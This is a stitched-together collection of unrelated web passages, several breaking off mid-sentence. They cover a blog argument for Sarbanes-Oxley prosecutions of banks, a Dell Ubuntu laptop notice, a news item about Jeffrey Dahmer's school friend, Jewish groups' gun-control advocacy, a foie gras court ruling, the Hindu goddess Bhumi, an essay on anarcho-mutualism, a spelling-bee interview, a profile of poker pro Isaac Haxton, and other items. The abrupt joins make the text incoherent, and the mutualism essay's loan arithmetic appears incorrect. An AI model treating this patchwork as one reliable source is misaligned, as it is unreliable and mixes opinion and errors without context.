4. Widespread risk management failures as Sarbanes-Oxley violations. As we’ve discussed, Sarbox provides a fairly low risk path to criminal prosecutions. And we believe the SEC has been incorrectly deterred by an adverse ruling in the early stages of its case against Angelo Mozilo. In that case, the judge (with no explanation of his ruling) barred the SEC from claiming SEC violations (which this case did) and double dipping by adding a Sarbox charge (securities fraud statutes parallel Sarbox language; indeed, that was one of the complaints re Sarbox, that many of its provisions were already represented in existing law). That’s far more significant than it appears. As we argued in an earlier post, the language in Section 302 (civil violations) tracks the language in Section 906 (criminal violations). A win on a Section 302 case would thus set up what would appear to be a slam dunk criminal case.
But Sarbox also contains language not present in existing securities statutes that would allow for criminal prosecution for exactly the sort of behavior that caused the crisis, namely, inadequate risk management (we discuss at length in ECONNED how risk management is kept politically weak by design and serves too often as a fig leaf for management). As we noted earlier:
Since Sarbanes Oxley became law in 2002, Sections 302, 404, and 906 of that act have required these executives to establish and maintain adequate systems of internal control within their companies. In addition, they must regularly test such controls to see that they are adequate and report their findings to shareholders (through SEC reports on Form 10-Q and 10-K) and their independent accountants. “Knowingly” making false section 906 certifications is subject to fines of up to $1 million and imprisonment of up to ten years; “willful” violators face fines of up to $5 million and jail time of up to 20 years. The responsible officers must certify that, among other things, they: (A) are responsible for establishing and maintaining internal controls;
(B) have designed such internal controls to ensure that material information relating to the issuer and its consolidated subsidiaries is made known to such officers by others within those entities, particularly during the period in which the periodic reports are being prepared;
(C) have evaluated the effectiveness of the issuer’s internal controls as of a date within 90 days prior to the report; and
(D) have presented in the report their conclusions about the effectiveness of their internal controls based on their evaluation as of that date; These officers must also have disclosed to the issuer’s auditors and the audit committee of the board of directors (or persons fulfilling the equivalent function): (A) all significant deficiencies in the design or operation of internal controls which could adversely affect the issuer’s ability to record, process, summarize, and report financial
data and have identified for the issuer’s auditors any material weaknesses in internal controls; and
(B) any fraud, whether or not material, that involves management or other employees who have a significant role in the issuer’s internal controls The premise of this requirement was to give assurance to investors as to (i) the integrity of the company’s financial reports and (ii) there were no big risks that the company was taking that it had not disclosed to investors. This section puts those signing the certifications, which is at a minimum the CEO and the CFO, on the hook for both the adequacy of internal controls around financial reporting (to be precise) and the accuracy of reporting to public investors about them. Internal controls for a bank with major trading operations would include financial reporting and risk management. It’s almost certain that you can’t have an adequate system of internal controls if you all of a sudden drop multi-billion dollar loss bombs on investors out of nowhere. Banks are not supposed to gamble with depositors’ and investors’ money like an out-of-luck punter at a racetrack. It’s pretty clear many of the banks who went to the wall or had to be bailed out because they were too big to fail, and I’ll toss AIG in here as well, had no idea they were betting the farm every day with the risks they were taking.
As readers know, it isn’t that there is no case against the major banks, it’s that the Administration is determined not to make it. The fact that New York attorney general Eric Schneiderman, who has been in office less than a year and has only a dozen attorneys on his staff, has filed as many cases as he has on the banking front (and remember, this is one of many beats he is expected to cover) is a stinging repudiation to the Administration. As we’ve indicated, there is evidence of an active press campaign to promote Iowa state AG Tom Miller, the head of whatever is left of the “50 state” attorney general negotiations (and increasingly take down Schneiderman).
This truly embarrassing article from The Daily Beast is the latest example. There isn’t the slightest effort to understand why the failure of the formerly 50 state AGs to investigate means that the idea that there is a possibility of a worthwhile settlement for states and consumers is pure unadulterated horseshit. And so the author imputes bad motives to Schneiderman, when in fact there is a credible case that Miller was trying to curry favor with the Administration (he was fawning over the Treasury’s Michael Barr in Congressional hearings, and it was widely believed he was angling to become the head of the Consumer Financial Protection Bureau).
As much as I disagree with the overall story line of Ron |
Ubuntu LTS releases, we were not able to ship with official Thunderbolt support. However, thanks to the hardware-enablement stack in Ubuntu, starting with upcoming Ubuntu 14.04.2, you will be able to upgrade your kernel to add some Thunderbolt support. We plan to be working with Canonical to re-certify the Precision M3800 with official Thunderbolt support.
Sound good to you? To get the M3800 developer edition, go to the Dell Precision M3800 Mobile Workstation page and choose the system labeled "Fully Customizable" on the far left. The next Ubuntu-powered XPS 13 isn't available yet, when it is, it will list for approximately $50 less than the corresponding windows configuration.
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Unusual Crime Connection Gets Potential Juror Excused
Cartoonist and graphic novelist John Backderf was excused from jury service in Ohio last week when he offered an unusual answer to the routine query about knowing any convicted criminals.
Backderf’s answer stunned the courtroom, the Cleveland Plain Dealer reports. “I had a close friend in high school who killed 17 people,” he said.
Backderf tells what happened next on his blog. “Stunned silence. All eyes turn. Asst. prosecutor’s head snaps up from his notes. Judge stares at me open-mouthed. I tell them who. ‘Wow,’ says the judge.”
Backderf’s childhood friend was Jeffrey Dahmer.
The cartoonist has written and illustrated a collection of short stories, soon to become a graphic novel, called My Friend Dahmer. He calls the book ‘“the definitive account of the formative years of my infamous, doomed teenage pal.”
Hat tip to the Milwaukee Journal Sentinel blog Proof and Hearsay.Dear Reader, As you can imagine, more people are reading The Jerusalem Post than ever before. Nevertheless, traditional business models are no longer sustainable and high-quality publications, like ours, are being forced to look for new ways to keep going. Unlike many other news organizations, we have not put up a paywall. We want to keep our journalism open and accessible and be able to keep providing you with news and analysis from the frontlines of Israel, the Middle East and the Jewish World.
WASHINGTON -- In the wake of the shooting rampage in Newtown, Conn., Jewish groups are looking to build alliances and back legislation to strengthen gun control laws.
Rabbi David Saperstein, the director of the Religious Action Center of Reform Judaism, said that his group is assembling a coalition that would be ready to act once the right legislation comes along.
“The point now is to create the atmosphere in which there is a demand for action, using our voices, organizing the parents in our pews,” Saperstein told JTA in an interview. “When the parents across America start crying out for effective action, if there's religious leadership, it will galvanize the community to create the moral demand that moves toward sensible legislation.”Staff at the RAC, the locus in the Jewish community for gun control initiatives in past decades, spent Monday reaching out to other Jewish leaders, as well as to leaders of other faith communities.“The best way is to rally the faith community and come together around shared policy,” said RAC spokeswoman Rachel Laser.A number of Jewish groups have indicated that they will back a gun control bill proposed Monday by Sen. Dianne Feinstein (D-Calif.), the first since the Newtown shooting. It would ban more than 100 assault weapons and ammunition clips that contain more than 10 rounds.The Newtown killer, Adam Lanza, used a Bushmaster AR-15 assault rifle registered in the name of his mother, whom he killed before heading to Sandy Hook Elementary School in Newtown, where he murdered 20 children and six adults before killing himself. Police have said he used multiple clips, although their capacity has not been publicly reported.Jared Loughner, the gunman in the January 2011 attack in Tucson, Ariz., that grievously wounded Rep. Gabrielle Giffords (D-Ariz.) and killed six others, had a 33-round magazine.The legislation, Feinstein said in a statement Monday, “will be carefully focused on the most dangerous guns that have killed so many people over the years while protecting the rights of gun owners by exempting hundreds of weapons that fall outside the bill’s scope.”Feinstein helped draft the last iteration of an assault weapons ban, in 1994. It lapsed in 2004, after the National Rifle Association fought against its renewal.B'nai B'rith International on Monday demanded the reinstatement of the assault weapons ban."Assault weapons enable a shooter to fire multiple rounds without stopping to reload as they automatically expel and load ammunition with each trigger-pull," B'nai B'rith said in a statement. "There is no sane, acceptable, reasonable need in a civilian setting to fire off large rounds of ammunition."The Jewish Council for Public Affairs circulated a petition through its constituent Jewish community relations councils that calls for "meaningful legislation to limit access to assault weapons and high capacity ammunition magazines, aggressive enforcement of firearm regulations, robust efforts to ensure that every person in need has access to quality mental health care, and a serious national conversation about violence in media and games."Officials of Jewish groups planning on action said the likeliest vehicle would be Feinstein’s legislation, which she plans to introduce as soon as Congress reconvenes, in January.“We have been in touch with Sen. Feinstein,” said Susan Turnbull, who chairs Jewish Women International, a group that has as a principal focus combating domestic violence. “We support her bill.”The National Council of Jewish Women, which has also taken a leading role in the Jewish community on gun control initiatives in the past, announced its support Tuesday for the Feinstein legislation and for legislation proposed by Sen. Chuck Schumer (D-N.Y.) that would tighten background checks. The NCJW has in the past mobilized a grassroots network of activists to push for gun control legislation. Hadassah also called on Congress to introduce reforms.The United Synagogue for Conservative Judaism and the Conservative movement’s Rabbinical Assembly on Monday called not only for a ban on assault weapons, but for longer purchase times, deeper background checks, coding ammunition for identification and banning online sales of ammunition.President Obama, attending a prayer vigil in Newtown on Sunday, said that he was ready to back action that would address such violence.“Are we really prepared to say that we’re powerless in the face of such carnage, that the politics are too hard?” he said. “Are we prepared to say that such violence visited on our children year after year after year is somehow the price of our freedom?”Although he was short on specifics, a number of observers said that Obama’s strong language suggested he was ready to do what he had avoided in his first term: Advance assault weapons restrictions.In addition to Feinstein and Schumer, a number of other Jewish lawmakers have also weighed in. Rep. Nita Lowey (D-N.Y.), who in the next Congress will be the top Democrat on the House Appropriations Committee, said in a statement that “expressions of sympathy must be matched by concrete actions.”Sen. Joseph Lieberman (I-Conn.), who is retiring, expressed support for an assault weapons ban and proposed a national commission on mass shootings.In addition to banning assault weapons, Jewish groups are also seeking broader initiatives to address violence.Rabbi Levi Shemtov, who directs American Friends of Lubavitch, said he would bring to the attention of lawmakers a study that links mandatory moments of silence to drops in juvenile violence.Turnbull of Jewish Women International said that any legislation should deal also with identifying and treating individuals whose mental health should preclude access to weapons.“We will back any legislation that bans assault weapons and the ammunition as well as giving families what they need to treat individuals with a proclivity toward violence,” said Turnbull, a former vice-chairwoman of the Democratic National Committee. “I think this will be the ‘big idea,’ that the president is not going to limit the conversation to just guns."
Join Jerusalem Post Premium Plus now for just $5 and upgrade your experience with an ads-free website and exclusive content. Click here>>A California federal court has granted the U.S. Department of Agriculture’s (USDA’s) motion for summary judgment in a case alleging the agency acted arbitrarily in denying a petition to prohibit foie gras produced from force-fed poultry, according to the Food & Beverage Litigation Update put out by the Shook Hardy & Bacon law firm.
“In the petition for rulemaking, several animal rights organizations and individuals argued force-feeding poultry caused hepatic lipidosis in the animals, rendering them unhealthy and unsafe for consumption; USDA’s Food Safety Inspection Service (FSIS) disagreed, finding that the buildup of fat from force-feeding did not make the liver unsafe to consume, unlike buildup related to disease,” the update stated.
The court confirmed that the Animal Legal Defense Fund and other plaintiff organizations had standing to sue, but the plaintiff individuals did not. ALDF said it was “gratified” the U.S. District Court for the Central District of California held that the organization had standing to bring its suit against USDA regarding foie gras, which it said is “a cruel and diseased duck liver product.”
However, the court did not set aside the USDA’s decision to reject the Animal Legal Defense Fund’s rulemaking petition regarding foie gras. Instead, the court held that the agency acted reasonably and its position towards foie gras should be afforded deference.
“The Animal Legal Defense Fund is disappointed in this outcome, and we are exploring our options going forward,” says Animal Legal Defense Fund executive director Stephen Wells. “We see no principled basis for the USDA to treat this diseased organ any differently than it treats other such dangerous products.”
The court considered the plaintiffs’ three challenges to FSIS’s decision: (i) “its explanation for why hepatic lipidosis does not render the liver unfit for human consumption is ‘nonsensical and irrational’”; (ii) “its conclusion that there was insufficient evidence of a connection between consumption of force-fed foie gras and the onset of secondary amyloidosis in humans ‘ran counter to the evidence before it’”; and (iii) “FSIS entirely failed to consider other bases purportedly included in the petition that support a finding that foie gras is unfit for human consumption.”
Shook Hardy & Bacon explained the court in its response to the first argument, found the distinction between disease and force-feeding as the causes of hepatic lipidosis was “eminently reasonable,” given that the condition is one symptom of a disease that can also cause inflammation, hemorrhaging and a building of fibrin in the liver tissue. Because FSIS’s reasoning “is not totally implausible,” the court deferred to the agency’s scientific conclusions.
The court also dismissed the second argument, finding that FSIS provided a reasonable scientific explanation for its determination that the evidence was insufficient to demonstrate a connection between human consumption of foie gras and the onset of secondary amyloidosis.
Finally, the court agreed with FSIS’s argument that the plaintiffs failed to properly present alternative bases for banning foie gras in their petition.
“The petitioners made passing references to other ailments that the force-feeding process could cause (most of which were simply secondary to hepatic lipidosis), and did not mention any of the myriad regulations which Plaintiffs now cite,” the court held, dismissing the plaintiffs’ final argument.Bhūmi, Bhudevi or Bhūmī-Devī is the Hindu goddess representing Mother Earth. She is the consort of the boar god Varaha, an avatar of Vishnu.[1] Bhumi is the daughter of Prajapati.
She is known by various names such as Bhuma-Devi, Bhuvati, Bhuvaani, Bhuvaneshwari, Avni, Prithvi, Dharti, Dhaatri, Dharani, Vasudha, Vasundhara, Vaishnavi, Kashyapi, Urvi, Ira, Mahi, Ela, Vasumati, Dhanshika, Hema, and Hiranmaya. She is worshipped in patala and is depicted as seated on a platform which rests on the back of four elephants, representing the four directions of the world. She is usually depicted with four arms, holding a pomegranate, a water vessel, a bowl containing healing herbs and another containing vegetables.[2] She is also sometimes depicted with two hands, one holding a blue lotus known as Kumuda or Utpala, the night lotus, and in the right hand and the left hand may be in the Abhaya Mudra, fearlessness or the Lolahasta Mudra which is an aesthetic pose meant to mimic the tail of a horse.[3][4]The image above is of the clown fish, Amphiprion Ocellaris. This fish was most famously popularized by the 2003 Pixar movie, Finding Nemo. A clown fish is an interesting specimen because it lives in what is called a mutual symbiotic relationship with sea anemones. Sea Anemones are poisonous Cnidarians that kill prey by using powerful neurotoxins found on their tentacles. The interesting part is that clown fish live within the tentacles of the anemone and go completely unharmed. The anemone provides shelter and safety for the clown fish in addition to food supplements while the clown fish provides protection from the anemones predators and food by luring fish to it as well as through its excrement. Both animals live in a mutual symbiosis, meaning that it is beneficial for both. This is a good example of what I’m going to be
discussing and what I consider to be my personal political view — mutualism, or more specifically, Anarcho-mutualism.
Mutualism is an economic theory and anarchist school of thought that advocates a society where each person might possess a means of production, either individually or collectively, with trade representing equivalent amounts of labor in the free market. Deriving from the works of Pierre-Joseph Proudhon, Mutualism is based on a labor theory of value that holds that when labor or its product is sold, in exchange, it ought to receive goods or services embodying “the amount of labor necessary to produce an article of exactly similar and equal utility”. Basically, if I were to sell something to you, I should receive goods or services that are comparable to the goods or services I’m providing you. If I fix your washing machine, you fix me dryer and vice versa. Mutualist believe in the establishment of a mutual-credit bank that would lend to producers at a minimal interest rate, just high enough to cover administration costs. So if I lend you money, the only money I would require above the principal is what is required for me to operate as a business and provide you my services. I would not charge you ridiculous fees and interest rates that will put you in debt for many years like capitalists do. A capitalist will lend you $20,000 on a 60 month term with 25% interest rate. By the time you finish paying off this loan you will have paid $38,177.17 into it, earning the capitalist $18,177.17. A mutualist will lend you the same amount of money. However, I will not charge you interest and I’ll still give you 60 months to pay it off. The only thing I would charge is around $1,500 for the administration costs. I have a building to pay for, I have a family to feed. That’s what that fee pays for. This is also a biblical concept.
“If your brother becomes poor and cannot maintain himself with you, you shall support him as though he were a stranger and a sojourner, and he shall live with you. Take no interest from him or profit, but fear your God, that your brother may live beside you. You shall not lend him your money at interest, nor give him your food for profit.” – Leviticus 25:35-37 “Who does not put out his money at interest and does not take a bribe against the innocent. He who does these things shall never be moved.” – Psalm 15:5 A capitalist will tell you that it’s all in fair competition and the interest charged allows the entrepreneur to make money. But making over $18,000 for putting a man in debt is not only wrong, it’s sinful. Mutualists oppose the idea of individuals receiving an income through loans, investments, and rent, as they believe these individuals are not laboring. Proudhon opposed this type of income, though he expressed that he had never intended “…to forbid or suppress, by sovereign decree, ground rent and interest on capital. I think that all these manifestations of human activity should remain free and voluntary for all: I ask for them no modifications, restrictions or suppressions, other than those which result naturally and of necessity from the universalization of the principle of reciprocity which I propose.” This is where the anarchism school of thought comes into play. When people hear anarchy or anarchism they automatically think of chaos, rioting, and general disorder. Anarchism is a political philosophy. They believe in stateless societies based on non-hierarchical free associations. Anarchism is very anti-dogmatic and most of its members do not adhere to a specific set of beliefs or doctrine. Anarchism allows the person to decide what he or she believes for themselves and structure it in such a way as fits there own moral or ethical code. Proudhon proposed spontaneous order, whereby organization emerges without central authority, a “positive anarchy” where order arises when everybody does “what he wishes and only what he wishes” and where “business transactions alone produce the social order.” Similar to laissez-faire, anarcho-mutualism calls for a hands off approach by any existing state. This allows freedom in transaction and business. Mutualists secure the worker’s right to the full product of their labor, mutualists also support markets and property in the product of labor. However, they argue for conditional titles to land, whose ownership is legitimate only if it remains in use or occupation (which Proudhon called “possession”); thus advocating personal property, but not private property. Capitalists believe they have a hold on the free market. Capitalists will tell you that the, “don’t work, don’t eat” concept is theirs. They believe that success is only driven through, and by capitalism and any other system is faulty or flawed. Capitalism has one focus, making yourself rich. They do not care about the worker or his life or health, only his wallet and its thickness. Capitalists will tell you that they believe in the “good” parts of capitalism and reject the “bad”. But I think if you listen carefully you’ll find that these good parts of capitalism are not solely capitalistic ideals. The only thing that defines capitalism as anything different is its focus on private ownership and money. I look at it this way: There are two big points for any business or market, greed and labor. Capitalism is all about the greed aspect. It is trying to earn as much money as you can doing as little work as you can. Take away the greed aspect of capitalism and your left with nothing. Add the greed to any market, and you have JP Morgan. Capitalism means bailing out big companies that gamble and lose, paying your workers a wage that does not support living in order to make as much money as possible, and serving yourself before your fellow man. Mutualism means working as hard as you can to earn the most honest living you can. Bottom line, I believe that if I don’t work, I don’t eat. I believe that everyone deserves a chance. I believe in a truly free market. I believe that lying and greed are immoral. This is why I am not a capitalist.
AdvertisementsLovers of steamy tension and thick glasses, rejoice. If there ends up being a third season of Orange Is the New Black (and how could there not?), Laura Prepon will return full-time as Piper’s on-again, off-again love interest, Alex Vause. Fans of the hit Netflix series were disappointed when Prepon announced last year that she would not be returning for Season 2. In fact, the fan outcry was so loud, Prepon and series creator Jenji Kohan worked together to fit Alex in to “most” of Season 2. And now, according to Buzzfeed, Prepon is all set to return full-time for Season 3. So brace yourself for more of this.
Both Prepon and her character Alex Vause have been under scrutiny this week. Prepon is rumored to be dating Tom Cruise and Catherine Cleary Wolters, the woman whom Piper Kerman based the character of Alex on, spoke at length to Vanity Fair about the inaccuracies of Kerman’s depiction. Of Kerman, Wolters said, “I was not Piper’s first, and I certainly did not seduce her.” She went on to say that she appreciated why the story was changed for TV. She said it was “so wretched and stinky, it would quite possibly result in a collapsed universe. So I guess it’s a good thing Piper and Jenji stick with the fun little tidbits.” We can expect plenty more of the fun tidbits to come in Season 3.South Asian-Americans, whose forebears immigrated from countries like India or Pakistan, have now won the Scripps National Spelling Bee eight years in a row. At one point in the 2015 final, six of the remaining seven spellers were of that ethnicity, and in the end there were two: co-champions Vanya Shivashankar and Gokul Venkatachalam. That means that out of the last 16 years, spellers of South-Asian origin have lost only four competitions. And one Northwestern academic says it’s not a coincidence.
Shalini Shankar, an associate professor of anthropology and Asian-American studies, spent this week with the 283 elite spellers who qualified for the bee in National Harbor, Md., continuing her research into what, exactly, might have produced this string of success. TIME spoke with Shankar about her interviews with parents, the kids’ intense preparation and how immigrant culture might lead to dominance in “brain sports.” (Hint: It doesn’t hurt that there is a spelling bee circuit exclusively for spellers of South-Asian descent.)
Who exactly are we talking about when we talk about top spellers in South Asian cultures?
Primarily India and Pakistan and Bangladesh are the countries that appear to have a lot of spellers. And when you look at South Asians in the South Asian spelling bee, it’s a range across those three countries. Occasionally from Sri Lanka as well. But once you get down to the finals or the championship level, it tends to be more spellers just from India. So Indian-Americans. Usually they are second generation. They were born in the United States to parents who are first generation Indian immigrants.
Is there a chance the string of wins by South Asian-Americans is a coincidence?
I think we can safely say it’s not a coincidence. I hesitate to call it dominance, only because it sounds like something premeditated or strategized. These kids come from families where their parents are really well educated, many of them, and their parents really emphasize education and certain types of extracurricular activities. Combined with that, they seem to have a real love of words and language and their parents foster that.
What kind of extracurricular activities are we talking about?
The parents spend a lot of their time and resources taking [their kids] to participate in what some of them describe as brain sports. So rather that going to travel baseball or travel soccer, they’re traveling this academic competition loop. Part of why you’re seeing their success on the rise is they’re in constant preparation mode for these various academic competitions. And there are several competitions that are exclusively for children of South Asian parentage. So they have more opportunities to do what they’re doing.
The Most Emotional Moments in National Spelling Bee History Alex Wong—Getty Images Molly Riley—Reuters Astrid Riecken—MCT/Getty Images Mandel Ngan—AFP/Getty Images Chuck Myers—MCT/Getty Images Robert Giroux—MCT/Getty Images Alex Wong—Getty Images Ann Heisenfelt—AP Jamal A. Wilson—AFP/Getty Images Matthew Cavanaugh—Getty Images Jacquelyn Martin—AP Stephen Jaffe—AFP/Getty Images Ron Edmonds—AP Chuck Myers—MCT/Getty Images Evan Vucci—AP Chuck Myers—MCT /Landov Chuck Myers—MCT/Landov 1 of 17 Advertisement
If part of this is the parents spending money on the travel circuit, does income level come into play in explaining the phenomenon?
I can’t speak to income levels because I don’t have that data. But I can safely say there’s at least one professional parent in most of these families that have what they call elite spellers. So they’re certainly socially upwardly mobile families even if they may not be wealthy, per se.
How much have you found the kids are into this intense competition because their parents are pushing them, versus pursuing it themselves?
The parents are definitely facilitators to this process but they can’t actually produce champions. They can only enable their children to excel in this activity if they’re predisposed and dedicated to doing it themselves. But I don’t think that’s so different from spelling bee champions of any other race or ethnicity. Any time you see spellers who really are dedicated and they’re making it to the highest levels of competition at the national level, generally their parents have invested a tremendous amount of time and energy helping them.
But isn’t there something, even if it’s not Tiger-Mom tactics, like a value the parents are passing along about what kind of competition is worth winning?
I have some partially formed ideas about that. I’m still looking into it. Part of what I’m seeing is that there’s a lot of prestige in this community to winning something like a spelling bee or winning a geography bee or a math bee. And that is valued as much if not more than winning some sort of physical sport … These are very important bragging rights among South Asian-American communities. There’s some real status linked to it, that the kids feel too. The kids are really excited about the prospect of being on ESPN. They want to be on television.
Is there a more fundamental place in the culture that this value on academic prowess comes from, like what brought these immigrants to America?
Among the elite classes in India, both economically and socially elite, there’s a real emphasis on education and the use of education for social mobility. It’s not so different from other places in the world, but it’s certainly quite prevalent there. So I think that value is one that gets very magnified when you look at what Indian-American populations actually emigrated. It’s mostly professionals who immigrated post-1965. They are doctors or engineers or scientists, etcetera. So they are absolutely going to place a higher value on that than, say, other types of accomplishment. It doesn’t meant they downplay other types of accomplishments, but there’s an understood value of education that these contests jibe with very well.
What is it that drives these kids to dedicate themselves to spelling so intensely?
Unless you really love language and reading and words, it becomes very hard to care about preparing to the extent that one needs to for a spelling bee at this level. Kids who do this love words and they love thinking about words. They read the dictionary, among other things. And not all of them prepare to win. They set their own goals, like ‘I want to make it to Scripps’ or ‘I want to make it to the semi-finals’ or the finals and proportionately spend time preparing in whatever ways they think will allow them to attain those goals.
What is that preparation process like?
That process is usually every day, if not almost every day, they spend a few hours after school, after their homework, sometimes after their parents get home so they can quiz them. They spend several hours each weekend day preparing, maybe not year-round but certainly in the weeks and months leading up to the bee. Some of these spellers who compete in their school bees as well as these South Asian spelling bees, they don’t let too much time go by when they don’t have to be preparing for something. They’re kind of constantly keeping this fresh in their minds. So it’s an ongoing process for them, during the years in which they’re able to compete. And then suddenly it ends when they’re 14. It can be a very abrupt ending.
How do competitions like this affect the way we think about childhood?
If anything, the continuum of what childhood means is being expanded in productive ways to accommodate things that might have seemed extremely marginal or relegated to this untouchable nerd kind of activity. It’s something that has more mainstream cachet. I mean, being on ESPN is something very few kids get to do and these kids are very proud of participating in something that has such national recognition. It’s just expanding our ideas about what childhood means in ways that are keeping up with how the world is changing.
Write to Katy Steinmetz at katy.steinmetz@time.com.American poker pro Isaac Haxton is best known for his vast accomplishments in high-stakes online cash poker games and high-roller live tournaments.
Born in New York City, the young-looking 32-year-old Haxton (who bears a slight resemblance to Harry Potter) was raised in Syracuse by his psychiatrist mother and English professor father. His father introduced Haxton to various games of skill when Haxton was a young child. In fact, Haxton was playing chess at four years of age and, by age ten, was an avid and competitive Magic: The Gathering.
Haxton attended Brown University and majored in computer science. However, poker was far more appealing, and Haxton—like many successful pros—swapped college for poker. At the age of 18, Haxton began to visit Verona, New York’s Turning Stone Casino. He started at $3/$6 limit Hold’Em before quickly increasing his stakes. At the same time, Haxton embraced online poker with his first $50 deposit on Ultimate Bet.
Isaac Haxton on the felt
In January, 2007—at his first major tournament, the PCA $8,000 WPT NLHE Championship Event in Melbourne, Australia—Haxton came in 2nd and won a hefty $861,789. Since then, Haxton has done incredibly well, amassing six-figure payouts around the world.
He scored his largest single cash—nearly $2.53 million—at the 2014 Aussie Millions Poker Championship $250,000 NLHE Challenge placing 2nd behind Phil Ivey.
Haxton earned another million-dollars-plus prize—$1.31 million (HK$ 10.2 million)—for his 5th-place finish at the Guangdong Asia Millions HK$ 1,000,000 NLHE Main Event in Macau.
2018 has been quite profitable for Haxton. He finished well within the top ten in the majority of every high roller and super high roller tournament in the European Poker Tour (EPT), Triton, Aria, US Poker Open, Asia Pacific Poker Tour (APPT) he entered. Most recently, at the 49th WSOP, Isaac Haxton won a respectable $519,000 with his 4th-place finish in the $50,000 NLHE High Roller event.
Despite not winning a bracelet (yet), Isaac Haxton has an impressive 24 money finishes and has made five final tables at the WSOP. His highest finish at the Main Event thus far is 94th in 2007.
Haxton is quite fun to watch. Check out this incredible bluff versus Ryan Daut.
Haxton currently sits in 15th place on the All-Time Money List with total live tournament winnings slightly more than $19 million.
Note: The quickest way to start winning more money at poker is to improve your preflop skills. Grab our FREE preflop guide with 8 easy to read preflop charts by clicking here or below.
Online success and sponsorships
Isaac Haxton is widely regarded as among the best online poker specialists. Playing under such names as Ike Haxton, luvtheWNBA, and philivey2694, Haxton has earned more than $2,000,000 in high-stakes cash games.
PokerStars dispute
Once a member of Team PokerStars online and brand ambassador, Haxton quit in 2016, citing alleged unethical behavior by the online site.
I have resigned from PokerStars in protest of the changes to the Supernova and Supernova Elite programs: https://t.co/I7c49fB00D — Isaac Haxton (@ikepoker) January 1, 2016
He recently responded to PokerStars’ efforts to mend a rift with the poker community by changing its rewards program and other parts of the site to improve user experience. However, Haxton isn’t accepting PokerStars’ olive branch as he was among the victims defrauded by the online giant for millions of dollars.
Isaac Haxton is quite opinionated (justifiably) and certainly doesn’t mince words.
Stars lied and defrauded players out of millions. Any apparent generosity is to be treated as laying the groundwork for the next con. https://t.co/fSTFRwl6q2 — Isaac Haxton (@ikepoker) August 16, 2017
until SN and SNE players are made whole, there is exactly one place they can stick that olive branch. — Isaac Haxton (@ikepoker) August 16, 2017
We couldn't afford not to steal your rakeback but would like to assure you that resources spent on dumb gimmicks "don't replace anything." https://t.co/SMwefG79Z5 — Isaac Haxton (@ikepoker) October 11, 2017
No, your point was to tell a customer who felt Stars is replacing poker with gimmicks and carnival games that he was wrong. He is right. https://t.co/r8ODAYamkU — Isaac Haxton (@ikepoker) October 11, 2017
Why play HUSNG vs third party bots when you can play vs house bots? Visionary stuff. https://t.co/cFjLBF78qh — Isaac Haxton (@ikepoker) October 11, 2017
And then, in response to Alex Dreyfus, CEO of Global Poker League and Hendon Mob owner, Isaac Haxton fired with:
Nah, good for the industry would be for them to die like other brands that lost track of the line between their customers money and theirs. https://t.co/h9HEL6ZIN2 — Isaac Haxton (@ikepoker) August 16, 2017
Haxton isn’t the only one dissatisfied with PokerStars. Dan “Jungleman” Cates hurled some harsh words against the site’s business practices, third-party live assistance software bots, and rake.
anyways, fuck @PokerStars … Their absurd level of greed will make online poker virtually unbeatable. — Daniel Cates (@junglemandan) December 2, 2015
Can't deposit on @pokerstars in Czech Republic, Macau, Japan, Hong Kong or receive player transfers. Holy shit man, you don't even let me pay your bullshit rake to play the worst games imaginable? — Daniel Cates (@junglemandan) February 17, 2018
PartyPoker sponsorship
Isaac Haxton—along with Jason Koon—is the newest member of Team PartyPoker. Haxton’s role isn’t exactly clear; however, its vagueness serves a purpose. He hopes to help the site regain its former greatness while providing valuable input as PartyPoker and PokerStars move in different directions. Many argue that Haxton will, indeed, be a valuable addition to PartyPoker.
If you’d like to learn more about this highly adept and successful player, you can read Fading Hearts on the River: A Life in High Stakes Poker (2015) by Haxton’s father, Brooks. This book offers a unique parental perspective into a child’s passion. Haxton’s interview on the Joe Rogan Experience podcast is quite awesome. You can also follow Isaac Haxton on Twitter.
So, what are your thoughts on the incredibly talented Isaac Haxton and the whole PokerStars situation? Please chime in below.
Until next time.
Note: “Our preflop charts are the most efficient and absolute quickest way to improve your poker game. Download them and use them… they work!” – Doug Polk
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commentsApple on Tuesday responded to concerns that it asked to have its products removed from EPEAT, the U.S. government’s list of environmentally friendly products.
“Apple takes a comprehensive approach to measuring our environmental impact and all of our products meet the strictest energy efficiency standards backed by the US government, Energy Star 5.2,” Apple representative Kristin Huguet, told The Loop. “We also lead the industry by reporting each product’s greenhouse gas emissions on our website, and Apple products are superior in other important environmental areas not measured by EPEAT, such as removal of toxic materials.”
It’s important to note that in addition to not measuring toxins and other environmental areas, EPEAT also doesn’t measure smartphones or tablets. Clearly these are two areas that are vitally important for Apple and not covered by EPEAT.
Companies like Dell have 171 products listed on EPEAT, but yet if you look on Dell’s Web site, none of their computers are even Energy Star Compliant.
By its own admission, the EPEAT certifications are old.
“Part of it is expanding EPEAT’s global reach through the multiple certification [process]; as well as moving into new, additional products; as well as updating the EPEAT [certifications], because they’re a little long in the tooth. [Each of those] is a huge project on its own,” Christine Ervin, an EPEAT board member told GreenBiz in March.
The hubbub over Apple pulling out of EPEAT is interesting because the products that were listed as gold products by the environmental organization are the same ones Apple is currently selling.
Apple has done more than any other technology company in recent memory to be environmentally friendly. What’s more, Apple publishes everything that makes up its carbon footprint on its Web site. Again, this is something EPEAT doesn’t measure.This is the tenth and last in a series that has run throughout the campaign, taking an in-depth look at where the polls stand in every region of the country and which seats are up for grabs. Check out the last instalment, where the spotlight was on British Columbia.
Long before this election campaign began, the Greater Toronto Area was identified as the key battleground in deciding who would be Canada's next prime minister. This is especially so in the region outside of the city of Toronto itself, and it has not disappointed. How voters in this volatile part of the country swing is perhaps the most important question on election night.
Poll Tracker: Follow the latest numbers
The outlying suburbs of Toronto famously swung towards the Conservatives in 2011, helping |
the Foundation, either in its tax returns or on its website. In fact, in April 2015, the Foundation refiled five years of its 990 tax returns, an event termed “highly unusual” by experts in non-profit organizations. The Clintons also failed to keep their explicit undertaking to President Obama to desist from accepting contributions from foreign countries while Mrs. Clinton was secretary of state, and they did not report such contributions. While many commentators have concluded that these acts by the Clintons constitute conflict of interest, or ethical lapse, or appearance of fraud, none has pointed to a specific law they may have violated. That law is the FARA, and public interest demands that Congress or the FBI commence an investigation into such possible violations immediately, both by the Foundation and by the Clintons as individuals, since the law provides that officers and directors are personally liable (sec. 617). Bill Clinton is the founder of the Foundation and a member of the board. Hillary resigned as a member of the board in 2014 but would remain liable for what occurred during her tenure as an officer.OC Transpo is launching a pilot project that will restore some service to bus routes lost during last year's cuts.
The transit operator announced the restoration of some elements of four routes, added one new route and added more buses and altered schedules for other routes in an effort to improve reliability and provide better access to health care, access to people with limited transit access, seniors and youth.
The improvements would begin in late December.
